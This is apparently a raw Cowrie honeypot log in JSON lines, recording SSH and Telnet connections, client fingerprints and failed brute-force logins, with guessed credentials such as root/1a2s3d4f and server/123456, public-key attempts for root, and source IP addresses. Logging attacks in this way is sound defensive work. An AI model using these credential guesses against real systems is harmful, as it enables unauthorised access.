{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:58.493820Z","src_ip":"94.159.110.201","session":"db5965551ea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2s3d4f","message":"login attempt [root/1a2s3d4f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:58.847097Z","src_ip":"94.159.110.201","session":"db5965551ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.95518112182617,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:58.888438Z","src_ip":"152.42.224.71","session":"781f59f1b409","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.06924772262573,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:59.360264Z","src_ip":"152.42.224.71","session":"420afac84327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.37.251","src_port":18438,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b3531a3c725","protocol":"ssh","message":"New connection: 68.235.37.251:18438 (10.17.0.5:22) [session: 0b3531a3c725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:59.836986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:59.842047Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:59.882762Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:59.971448Z","src_ip":"94.159.110.201","session":"db5965551ea7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:e3:51:bd:cc:5a:aa:e6:22:1b:fc:5c:c2:27:6a:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyitW2xo4vqzudWOzeWVn61T/dZ2/kA7+UjoaQ4HdLH9WbhZ6tc46ZDXwzvKmVxbhJPUiPMxviDexpMlBUamSgSv5U131h89tbG+NAwjdpkGtv1St2JwecnWQMcaUqNWRCNIjU+2d+YTuo+VbPNZoxOliy8GTjqTFJDVJolt+fBwciYRceOf8qgIBsTkWCqSLwBhHA10XVXigly6Aj4Qsl5n5ajnYM9r6yJ46lNR3/UMdaiezbfrl41ZkyxmB/PMEilXT07QqMT9SYBWzwhr40lTdigy+Xq1M231SeDagkeApEQRRN2wM9WNWvuvTK6MtsYk03Qd8iXk2u5JUBIJzVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:e3:51:bd:cc:5a:aa:e6:22:1b:fc:5c:c2:27:6a:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.042838Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:e3:51:bd:cc:5a:aa:e6:22:1b:fc:5c:c2:27:6a:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyitW2xo4vqzudWOzeWVn61T/dZ2/kA7+UjoaQ4HdLH9WbhZ6tc46ZDXwzvKmVxbhJPUiPMxviDexpMlBUamSgSv5U131h89tbG+NAwjdpkGtv1St2JwecnWQMcaUqNWRCNIjU+2d+YTuo+VbPNZoxOliy8GTjqTFJDVJolt+fBwciYRceOf8qgIBsTkWCqSLwBhHA10XVXigly6Aj4Qsl5n5ajnYM9r6yJ46lNR3/UMdaiezbfrl41ZkyxmB/PMEilXT07QqMT9SYBWzwhr40lTdigy+Xq1M231SeDagkeApEQRRN2wM9WNWvuvTK6MtsYk03Qd8iXk2u5JUBIJzVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.047495Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:39:4a:7d:6b:b5:55:06:71:55:76:35:10:ea:52:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFPR4qXH6jgQ7RkOflYVrz/JhmZ4nTqwoA6BDZw6fAr6dlaowI0OM9tL4m+gHGnOOpwEc9oYUYaKrQxO1enTibODYCDA8yRCDY+2l3Qp9RGE/dxDzcGHAeNV1IcJCsxTvCvY/yklBgdKIxnlCwpwPZ58qZOc3mdIDitRdld+15L7gl15w/1vOLfikzu4YAio7canX1S6EjyNVWFNHF6OCIQrNy3f+d250Fi+YkwP3YLIqX8UuGB0qOcyn1eKYLRRG0L/14fRYlGd2f+mxTknTyL4DEWKL27VXtOMuTFCuBfbwbbh6U2ZlnmTt0R/j5akHUdvlgbBc7KPdnXG1h9H13","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:39:4a:7d:6b:b5:55:06:71:55:76:35:10:ea:52:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.087429Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:39:4a:7d:6b:b5:55:06:71:55:76:35:10:ea:52:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFPR4qXH6jgQ7RkOflYVrz/JhmZ4nTqwoA6BDZw6fAr6dlaowI0OM9tL4m+gHGnOOpwEc9oYUYaKrQxO1enTibODYCDA8yRCDY+2l3Qp9RGE/dxDzcGHAeNV1IcJCsxTvCvY/yklBgdKIxnlCwpwPZ58qZOc3mdIDitRdld+15L7gl15w/1vOLfikzu4YAio7canX1S6EjyNVWFNHF6OCIQrNy3f+d250Fi+YkwP3YLIqX8UuGB0qOcyn1eKYLRRG0L/14fRYlGd2f+mxTknTyL4DEWKL27VXtOMuTFCuBfbwbbh6U2ZlnmTt0R/j5akHUdvlgbBc7KPdnXG1h9H13","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.097402Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:b8:01:7d:bb:ed:1f:06:26:55:06:e7:d7:3c:4b:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA27bk3xzN+FWf28bOWN5k0iYUI7Qrao7rxJlbCZwZGnC9+muhe03NqXVP/6Fjo69SyhzODbOG5/qZGAxnIvI7ybOMk9DRTnFGNo7OdTDxOMHipVASo/LFZA87c4ctYEIG6Carc+dks73GlzuInX6X57Mp0OJIbWGowygcS6IBDai5Sk/LQJoJLTwLB61mtt+7oXabmu75AWdhZadExISJDWwzC4/X8OeyxtNMoASWcNqnV1fkv/dNMD9wcbpNX9QYpovMasvKOV7IsNPufusM7IT83jDF7UisnB4/9vD12yy+YiW5+K5sw8QYp1MA63MBrCWAaQ4906kKVhNeG7CJFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:b8:01:7d:bb:ed:1f:06:26:55:06:e7:d7:3c:4b:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.136031Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:b8:01:7d:bb:ed:1f:06:26:55:06:e7:d7:3c:4b:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA27bk3xzN+FWf28bOWN5k0iYUI7Qrao7rxJlbCZwZGnC9+muhe03NqXVP/6Fjo69SyhzODbOG5/qZGAxnIvI7ybOMk9DRTnFGNo7OdTDxOMHipVASo/LFZA87c4ctYEIG6Carc+dks73GlzuInX6X57Mp0OJIbWGowygcS6IBDai5Sk/LQJoJLTwLB61mtt+7oXabmu75AWdhZadExISJDWwzC4/X8OeyxtNMoASWcNqnV1fkv/dNMD9wcbpNX9QYpovMasvKOV7IsNPufusM7IT83jDF7UisnB4/9vD12yy+YiW5+K5sw8QYp1MA63MBrCWAaQ4906kKVhNeG7CJFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.141821Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:0c:da:86:08:b0:f6:eb:c8:31:30:4e:0a:6a:89:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3DS7HaAp81t0Pi0l1p30Dap3RSCTQ9o5IwMRZ0Web9dyVKE+ljMQ6YdN1eoNS19o8VM1drmbFRnN5YhjYzXgNQ8bwix+lDw03YSQOkTJ5ZmbaaDNkw4s3dLD/BXXtWKApL/IRvemmufpwDPqv3rWfHVIm0umwQVwndz2lKQjJiHMsXeGhnbcsI5YGtA69LU5/TQuMseeNKzDsRlLklkk5lQJ0GTsiMHpQm9beKh24KJMSFqXD1kHojPZQxyA+wvsFJbIxIrUtGN9hOHAvlVSJzmtf6GSZOl+RVudHEuhnWu+atO19p9mSeNVSZUj/oWFyFsr76fUuDb5I8CPRiiFd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:0c:da:86:08:b0:f6:eb:c8:31:30:4e:0a:6a:89:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.189468Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:0c:da:86:08:b0:f6:eb:c8:31:30:4e:0a:6a:89:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3DS7HaAp81t0Pi0l1p30Dap3RSCTQ9o5IwMRZ0Web9dyVKE+ljMQ6YdN1eoNS19o8VM1drmbFRnN5YhjYzXgNQ8bwix+lDw03YSQOkTJ5ZmbaaDNkw4s3dLD/BXXtWKApL/IRvemmufpwDPqv3rWfHVIm0umwQVwndz2lKQjJiHMsXeGhnbcsI5YGtA69LU5/TQuMseeNKzDsRlLklkk5lQJ0GTsiMHpQm9beKh24KJMSFqXD1kHojPZQxyA+wvsFJbIxIrUtGN9hOHAvlVSJzmtf6GSZOl+RVudHEuhnWu+atO19p9mSeNVSZUj/oWFyFsr76fUuDb5I8CPRiiFd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.197330Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:cc:41:fd:8a:b3:f5:ae:44:8e:26:79:26:04:55:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/tDDlz3kwZgFwNKxORRU5Iwdam0UfOGIfDwTW78qkG6H7FS+sxMZ5g4kr4+EwQlfNJcFdGsmpfw47lmx9L6YBdcfJ2ob7SrOfZAjSCDawb3tyOXeARdn4I/k2CNP7RxNV+dxiHUtKeVn0UOt86e5ggWfRThU7KWWXBJu8MexaxdAzlTqhJMeSOt5nJTlw6/FnA/7XW/8e/RBDocigrxSvo8tmF9OSBWAH8uack1h8e84ryuNmqLni3i/6/njbWDz9SCOTEoX7ndrtlsyrhTfKOAUIdohXsdm+gSIHQvgb+ObnIVpwQlrDa32fxmvqP6qwjHQZfZjy/ctUJITGFrgf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:cc:41:fd:8a:b3:f5:ae:44:8e:26:79:26:04:55:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.238044Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:cc:41:fd:8a:b3:f5:ae:44:8e:26:79:26:04:55:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/tDDlz3kwZgFwNKxORRU5Iwdam0UfOGIfDwTW78qkG6H7FS+sxMZ5g4kr4+EwQlfNJcFdGsmpfw47lmx9L6YBdcfJ2ob7SrOfZAjSCDawb3tyOXeARdn4I/k2CNP7RxNV+dxiHUtKeVn0UOt86e5ggWfRThU7KWWXBJu8MexaxdAzlTqhJMeSOt5nJTlw6/FnA/7XW/8e/RBDocigrxSvo8tmF9OSBWAH8uack1h8e84ryuNmqLni3i/6/njbWDz9SCOTEoX7ndrtlsyrhTfKOAUIdohXsdm+gSIHQvgb+ObnIVpwQlrDa32fxmvqP6qwjHQZfZjy/ctUJITGFrgf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.241959Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:00.279493Z","src_ip":"68.235.37.251","session":"0b3531a3c725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.29953217506409,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:03.169254Z","src_ip":"152.42.224.71","session":"da1ed65c8422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42978,"dst_ip":"159.203.135.109","dst_port":22,"session":"788b739d8f9b","protocol":"ssh","message":"New connection: 31.40.204.166:42978 (159.203.135.109:22) [session: 788b739d8f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:03.882676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:03.889647Z","src_ip":"31.40.204.166","session":"788b739d8f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:04.285421Z","src_ip":"31.40.204.166","session":"788b739d8f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:04.916410Z","src_ip":"31.40.204.166","session":"788b739d8f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:06.111192Z","src_ip":"31.40.204.166","session":"788b739d8f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48210,"dst_ip":"10.17.0.5","dst_port":23,"session":"60553bc71f69","protocol":"telnet","message":"New connection: 152.42.224.71:48210 (10.17.0.5:23) [session: 60553bc71f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:06.630464Z"}
{"eventid":"cowrie.session.closed","duration":107.2480857372284,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:06.651922Z","src_ip":"152.42.224.71","session":"6ed2db05d873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0054578781128,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:10.551160Z","src_ip":"152.42.224.71","session":"f7c5caca4af4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48222,"dst_ip":"10.17.0.5","dst_port":23,"session":"8147229114a5","protocol":"telnet","message":"New connection: 152.42.224.71:48222 (10.17.0.5:23) [session: 8147229114a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:10.893446Z"}
{"eventid":"cowrie.session.closed","duration":23.6260404586792,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:11.105216Z","src_ip":"152.42.224.71","session":"fca84794c197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60024,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ebcbdf5f821","protocol":"ssh","message":"New connection: 31.40.204.166:60024 (159.203.135.109:22) [session: 8ebcbdf5f821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:15.981331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:15.994704Z","src_ip":"31.40.204.166","session":"8ebcbdf5f821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:16.214265Z","src_ip":"31.40.204.166","session":"8ebcbdf5f821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33328,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b26b35ffe17","protocol":"telnet","message":"New connection: 152.42.224.71:33328 (10.17.0.5:23) [session: 2b26b35ffe17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:16.594981Z"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:16.722030Z","src_ip":"31.40.204.166","session":"8ebcbdf5f821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:17.903639Z","src_ip":"31.40.204.166","session":"8ebcbdf5f821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.89905786514282,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:18.136810Z","src_ip":"152.42.224.71","session":"6fb8db36c1d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00160098075867,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:21.226811Z","src_ip":"152.42.224.71","session":"0ed5aa55c339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":92.2317590713501,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:22.389146Z","src_ip":"152.42.224.71","session":"608cde1522ca","protocol":"telnet"}
